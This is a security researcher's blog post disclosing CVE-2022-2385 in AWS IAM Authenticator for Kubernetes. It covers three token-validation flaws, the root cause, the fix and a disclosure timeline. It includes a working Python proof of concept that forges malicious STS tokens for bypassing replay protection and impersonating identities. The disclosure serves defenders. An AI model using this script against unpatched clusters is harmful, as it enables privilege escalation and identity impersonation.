Tools Resources

K8s Vulnerability

Exploiting Authentication in AWS IAM Authenticator for Kubernetes

Gafnit Amiga

Monday, Jul 11th, 2022

Amazon Elastic Kubernetes Service (Amazon EKS) is a managed service that helps you to create, operate, and maintain Kubernetes clusters. Amazon EKS has several deployment options including AWS cloud and on-premises (Amazon EKS Anywhere). Amazon EKS uses IAM to provide authentication to the cluster through the AWS IAM Authenticator for Kubernetes.

AWS IAM Authenticator is a component located inside your Kubernetes cluster’s control plane that enables authentication using AWS IAM identities such as users and roles. The API server forwards a signed token to the AWS IAM Authenticator server which performs the authentication against AWS Security Token Service (STS).

During my research on the AWS IAM Authenticator component, I found several flaws in the authentication process that could bypass the protection against replay attacks or allow an attacker to gain higher permissions in the cluster by impersonating other identities. In this blog post I will explain about three vulnerabilities detected in the AWS IAM Authenticator where all of them were caused by the same code line. Two of them have been there since the first commit (Oct 12, 2017) and the third one that enabled impersonation was exploitable since Sept 2, 2020, release v0.5.2.

AWS’s EKS team applied a fix to all EKS clusters on AWS and sent the fix to Kubernetes SIG as well. The open-source code for aws-iam-authenticator is now updated and includes the fix. Anyone who uses EKS Anywhere or uses the vulnerable version of the aws-iam-authenticator code should update the cluster.

AWS published a security bulletin.

CVE issued: CVE-2022-2385.

EKS and AWS IAM Authenticator

From the day Amazon EKS was launched in 2018, it included native support for AWS IAM users and roles as entities that can authenticate against a cluster. The authentication relays on the GetCallerIdentity action in AWS Security Token Service (AWS STS), which returns details about the IAM user or role whose credentials are used to call the operation. This authentication flow is implemented and performed by the AWS IAM Authenticator for Kubernetes tool called aws-iam-authenticator. The aws-iam-authenticator tool development started as an open-source initiative to create a mechanism that uses AWS IAM credentials to authenticate to Kubernetes cluster, and eventually was donated to the Cloud Provider Special Interest Group (SIG). The project is currently maintained by Amazon EKS Engineers.

AWS IAM Authenticator for Kubernetes can be installed on any Kubernetes cluster, and it is installed by default in any EKS cluster both on AWS cloud and on-premises (Amazon EKS Anywhere). In case the cluster infrastructure is managed by the provider, the end user cannot access the control plane resources including the API server pod. Since the AWS IAM Authenticator is deployed in the control plane as well, the end user cannot access its resources in a managed EKS cluster, but it is possible to view its logs in CloudWatch.

I will not elaborate on the entire backend implementation of the AWS IAM Authenticator server in this blog post, but it is the core component that receives a token from the API server and uses it to query the AWS Security Token Service (AWS STS) for the matching identity (user or role) details. Then, the AWS IAM Authenticator server uses a mapping to convert the AWS identity to Kubernetes identity which has username and groups. The mapping is specified in a ConfigMap named “aws-auth” and can be edited by the cluster administrator. For more details about the content and structure of this ConfigMap read Noga’s research. The IAM Authenticator server runs on the control plane instances and the EKS API server is configured with an authentication webhook that directs the token in the request to the AWS IAM Authenticator server.

User sends a request to the API server to obtain Kubernetes resource such as “get pods” (can use kubectl tool). The request includes a token in the “Authorization” header. The token is a base64 encoded string of a signed request to AWS STS.
The API server receives the request from the user, extracts the token and sends it in the body of the request to /authenticate endpoint of the AWS IAM Authenticator server.
The AWS IAM Authenticator server receives the token from the API server, base64 decodes it and performs a set of validations. If all validations pass, the AWS IAM Authenticator sends the signed request from the token to AWS STS.
AWS STS receives the signed request from the AWS IAM Authenticator server and validates the signature. If the signature is valid, it sends the AWS IAM identity details in the GetCallerIdentityResponse to the AWS IAM Authenticator server.
The AWS IAM Authenticator server receives the GetCallerIdentityResponse object from AWS STS and maps it to the matching Kubernetes identity based on the rules in the “aws-auth” ConfigMap. The resulting Kubernetes identity has a username and groups in the cluster scope that are used by the RBAC (Role Based Access Control) mechanism to check for authorization. The AWS IAM Authenticator server sends the resulting Kubernetes identity to the API server.
The API server receives the Kubernetes identity from the AWS IAM Authenticator server and checks its permissions using RBAC. If the identity is authorized to perform the operation, the Kubernetes resource response is sent back. Such as, a list of pods.

In any case of access denied, an invalid signature, or other errors during the validation process, an error message will roll back to the user.

EKS Cluster Setup

I created a fresh EKS cluster “gaf-cluster” and enabled logging for the AWS IAM Authenticator.

I updated my ~/.kube/config file using the following command (kops does it for you):

aws eks --region us-east-1 update-kubeconfig --name gaf-cluster

When I run a kubectl command, for example “kubectl get pods”, the following request is sent to the EKS cluster’s API server:

As you can see, a token is generated and being sent with the request. Here is the output of the base64 decoded value (without the k8s-aws-v1 prefix):

https://sts.us-east-1.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAXXXXXXXXXXXXXXXX%2F20220525%2Fus-east-1%2Fsts%2Faws4_request&X-Amz-Date=20220525T113918Z&X-Amz-Expires=0&X-Amz-SignedHeaders=host%3Bx-k8s-aws-id&X-Amz-Signature=757fab3461c3489d7a71d65658299940fba6161431936baf0b5c3fcab4a4ba06

This is a signed request to STS. The API server will take this value, forward it to the AWS IAM Authenticator server which will base64 decode the token, run some checks, and use the signed request to get the identity ARN from STS service. Some of these validation checks on the token content are:

URL scheme must be HTTPS.
URL host must be valid STS host.
URL path must be “/”.
Iterates over all query parameters and for each check that the parameter name must be in the allowlist.
“action” parameter must be “GetCallerIdentity”.
The cluster ID header is signed as part of the request.
Extracts the Access Key value from the “X-Amz-Credentials” parameter.

There are more checks being made, but these are the relevant ones for the findings.

After the AWS IAM Authenticator server completes the mapping, the resulting identity has a Kubernetes username and groups that will be used inside the cluster and enforced by the RBAC rules.

Here is a log from the AWS IAM Authenticator server after completing a mapping:

The Findings

1 - The importance of validating the signed STS request parameters and the Action name

It is critical to check the parameters’ names and values to avoid security issues caused by their manipulation. Here you can read about such vulnerability discovered by Felix Wilhelm where he exploited the HashiCorp Vault by manipulating the STS action.

In AWS IAM Authenticator, an attacker could craft a malicious token with any action value. Since I could not find a way to control the host or add other parameters to the request, the impact of changing the action is low.

2 – Sending a malicious token without signing the cluster ID header

The cluster ID is a unique-per-cluster identifier that prevents certain replay attacks. If you managed to obtain an STS GetCallerIdentity request that belongs to someone else, you cannot use it to authenticate the EKS cluster on behalf of that user because the cluster ID header is not signed as part of the request.

In AWS IAM Authenticator, an attacker could craft a malicious token without signing the cluster ID. This token was accepted by the AWS IAM Authenticator server and did not cause an error on STS, therefore, it bypasses the replay protection for cases where we have clean STS GetCallerIdentity request (not signed for another cluster).

3 – Full control over the Access Key value used by aws-iam-authenticator

The users can add mappings to the “aws-auth” ConfigMap that includes the {{AccessKeyID}} placeholder, which will be replaced by the server during the mapping evaluation.

Here is an example of such mapping in the “aws-auth” ConfingMap. Assume the cluster administrator defined the usernames in the cluster after the AWS access keys. I will add a mapping to “gaf-cluster” for “gaf_test” IAM user.

Edit using “kubectl edit configmaps aws-auth -n kube-system”

mapUsers: |
- userarn: arn:aws:iam::000000000000:user/gaf_test
username: user:

Now, when I use “gaf_test” IAM identity, the Kubernetes mapped username will match the access key.

In AWS IAM Authenticator, an attacker could craft a malicious token that will manipulate the AccessKeyID value. I could enter any string I want, and AWS IAM Authenticator server will use this string as a replacement to the {{AccessKeyID}} placeholder during the mapping.

This can lead to privilege escalation in the EKS cluster.

Here is a Python script that generates all three types of malicious tokens:<br><br>

import base64
import boto3
import re
from botocore.signers import RequestSigner

REGION = 'us-east-1'
CLUSTER_ID = 'gaf-cluster'


def get_bearer_token(url, headers):
STS_TOKEN_EXPIRES_IN = 60
session = boto3.session.Session()

client = session.client('sts', region_name=REGION)
service_id = client.meta.service_model.service_id

signer = RequestSigner(
service_id,
REGION,
'sts',
'v4',
session.get_credentials(),
session.events
)

params = {
'method': 'GET',
'url': url,
'body': {},
'headers': headers,
'context': {}
}

signed_url = signer.generate_presigned_url(
params,
region_name=REGION,
expires_in=STS_TOKEN_EXPIRES_IN,
operation_name=''
)

return signed_url


def base64_encode_no_padding(signed_url):
base64_url = base64.urlsafe_b64encode(signed_url.encode('utf-8')).decode('utf-8')

# remove any base64 encoding padding:
return 'k8s-aws-v1.' + re.sub(r'=*', '', base64_url)


def create_mal_token_with_other_action(action_name):
url = f'https://sts.{REGION}.amazonaws.com/?Action={action_name}&Version=2011-06-15&action=GetCallerIdentity'
headers = {'x-k8s-aws-id': CLUSTER_ID}
signed_url = get_bearer_token(url, headers)

signed_url = signed_url.replace(f'&action=GetCallerIdentity', '')
signed_url += f'&action=GetCallerIdentity'

return base64_encode_no_padding(signed_url)


def create_mal_token_without_cluster_id_header_signed():
url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-signedheaders=x-k8s-aws-id'
headers = {}
signed_url = get_bearer_token(url, headers)

signed_url = signed_url.replace('&x-amz-signedheaders=x-k8s-aws-id', '')
signed_url += '&x-amz-signedheaders=x-k8s-aws-id'

return base64_encode_no_padding(signed_url)


def create_mal_token_with_other_access_key(value):
url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-credential={value}'
headers = {'x-k8s-aws-id': CLUSTER_ID}
signed_url = get_bearer_token(url, headers)

signed_url = signed_url.replace(f'&x-amz-credential={value}', '')
signed_url += f'&x-amz-credential={value}'

return base64_encode_no_padding(signed_url)


print("Token with other action:")
print(create_mal_token_with_other_action('CreateUser'))

print("Token without cluster id header signed:")
print(create_mal_token_without_cluster_id_header_signed())

print("Token with other value as access key:")
print(create_mal_token_with_other_access_key('some-other-value'))

Note: You might need to send the request with the malicious token to the EKS API server multiple times. The reason is further explained in the root cause section.

The Root Cause

All three security issues happened because of this code line.

In the code above an attacker can send two different variables with the same name but with different uppercase, lowercase characters. For example, "Action" and "action".

Since both are being "ToLower", the value in the queryParamsLower dictionary will be overridden while the request to AWS will be sent with both parameters and their values. The cool thing is that AWS STS will ignore the parameter it does not expect, in this case AWS STS will ignore the “action” parameter.

Because the for loop is not ordered, the parameters are not always overridden in the order we want, therefore we might need to send the request with the malicious token to the AWS IAM Authenticator server multiple times. The vulnerable root cause was in AWS IAM Authenticator since first commit (Oct 12, 2017), therefore both changing action and unsigned cluster ID tokens were exploitable since day one. The exploitation of the username through the AccessKeyID was possible since Sept 2, 2020 (release v0.5.2) when this feature was added.

The Fix

The EKS team added a function to validate that there are no duplicated parameters names.

Timeline

May 25, 2022: Vulnerability was reported to AWS security.
Jun 3, 2022: Meet with EKS team to discuss the issue and mitigation.
Jun 10, 2022: EKS team applied a fix to my cluster for validation. I retested and validated the fix. EKS team began deploying the updated version to all regions.
Jun 28, 2022: The updated Authenticator with the fix was successfuly deployed to all EKS regions.
Jun 29, 2022: EKS team opened a pull request with the fix to aws-iam-authentication repository in kubernetes-sigs organization.
Jun 30, 2022: The pull request with the fix was approved and merged into master.